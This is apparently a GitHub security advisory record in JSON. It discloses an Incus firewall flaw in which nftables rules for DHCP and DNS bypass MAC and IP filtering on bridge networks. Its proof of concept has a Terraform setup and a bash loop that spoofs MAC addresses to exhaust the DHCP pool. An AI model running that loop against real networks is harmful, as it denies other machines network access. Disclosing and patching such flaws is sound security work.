{"schema_version":"1.7.5","id":"GHSA-9q7c-qmhm-jv86","published":"2025-06-26T21:11:09Z","modified":"2026-03-30T14:06:03.869502Z","aliases":["CVE-2025-52889","GO-2025-3781"],"summary":"Incus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks","details":"### Summary\n\nWhen using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options `security.mac_filtering`, `security.ipv4_filtering` and `security.ipv6_filtering`. This can lead to DHCP pool exhaustion and opens the door for other attacks.\n\n### Details\n\nIn commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:\n\n\tiifname \"{{.hostName}}\" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept\n\tiifname \"{{.hostName}}\" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept\n\nHowever, these rules accept packets that should be filtered and maybe dropped by later rules in the \"MAC filtering\" snippet:\n\n\tiifname \"{{.hostName}}\" ether type arp arp saddr ether != {{.hwAddr}} drop\n\tiifname \"{{.hostName}}\" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop\n\nTherefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.\n\nAdditionaly, the commit adds non-restricted access to the local dnsmasq DNS server:\n\n\t{{ if .dnsIPv4 }}\n\t{{ range .dnsIPv4 }}\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\n\t{{ if .dnsIPv6 }}\n\t{{ range .dnsIPv6 }}\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" tcp dport 53 accept\n\tiifname \"{{$.hostName}}\" ip6 daddr \"{{.}}\" udp dport 53 accept\n\t{{ end }}\n\t{{ end }}\n\nAn attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.\n\n### PoC\n\nWith this terraform infrastructure:\n\n```\nresource \"incus_network_acl\" \"acl_allow_out\" {\n  name    = \"acl-allow-out\"\n  egress = [\n    {\n      action           = \"allow\"\n      destination      = \"0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254\"\n      state            = \"enabled\"\n    },\n  ]\n}\nresource \"incus_network_acl\" \"acl_allow_in\" {\n  name    = \"acl-allow-in\"\n  ingress = [\n    {\n      action           = \"allow\"\n      state            = \"enabled\"\n    },\n  ]\n}\n\nresource \"incus_network\" \"br0\" {\n  name = \"br0\"\n  config = {\n    \"ipv4.address\"          = \"10.0.0.1/24\"\n    \"ipv4.nat\"              = \"true\"\n  }\n}\n\nresource \"incus_instance\" \"machine1\" {\n  name  = \"machine1\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n    \"cloud-init.vendor-data\" = <<-EOF\n      #cloud-config\n      package_update: true\n      packages:\n        - dhclient\n        - tcpdump\n      runcmd:\n        - systemctl disable --now systemd.networkd.service\n        - systemctl disable --now systemd.networkd.socket\n    EOF\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n      \"security.ipv4_filtering\" = true\n      \"security.acls\" = join(\",\",\n        [\n          incus_network_acl.acl_allow_out.name,\n          incus_network_acl.acl_allow_in.name,\n        ])\n    }\n  }\n}\n\nresource \"incus_instance\" \"machine2\" {\n  name  = \"machine2\"\n  image = \"images:archlinux/cloud\"\n  type = \"virtual-machine\"\n  config = {\n    \"limits.memory\" = \"2GiB\"\n    \"security.secureboot\" = false\n    \"boot.autostart\" = false\n  }\n  device {\n    type = \"disk\"\n    name = \"root\"\n    properties = {\n      pool = \"default\"\n      path = \"/\"\n      size = \"64GiB\"\n    }\n  }\n  device {\n    type = \"nic\"\n    name = \"eth0\"\n    properties = {\n      network = incus_network.br0.name\n    }\n  }\n}\n```\n\nAn attacker in a VM requests many IP addresses and exhaust the pool:\n\n```bash\n[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done\n\n[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases  |wc -l\n254\n\n[HOST]$ incus start machine2\n```\n\nAt this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.\n\n### Impact\n\nAll versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.","affected":[{"package":{"name":"github.com/lxc/incus/v6","ecosystem":"Go","purl":"pkg:golang/github.com/lxc/incus/v6"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.14.0"}]}],"database_specific":{"last_known_affected_version_range":"<= 6.13.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/06/GHSA-9q7c-qmhm-jv86/GHSA-9q7c-qmhm-jv86.json"}}],"references":[{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-9q7c-qmhm-jv86"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-52889"},{"type":"WEB","url":"https://github.com/lxc/incus/commit/2516fb19ad8428454cb4edfe70c0a5f0dc1da214"},{"type":"WEB","url":"https://github.com/lxc/incus/commit/a7c33301738aede3c035063e973b1d885d9bac7c"},{"type":"PACKAGE","url":"https://github.com/lxc/incus"}],"database_specific":{"cwe_ids":["CWE-770"],"github_reviewed":true,"github_reviewed_at":"2025-06-26T21:11:09Z","nvd_published_at":"2025-06-25T17:15:39Z","severity":"LOW"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:L"}]}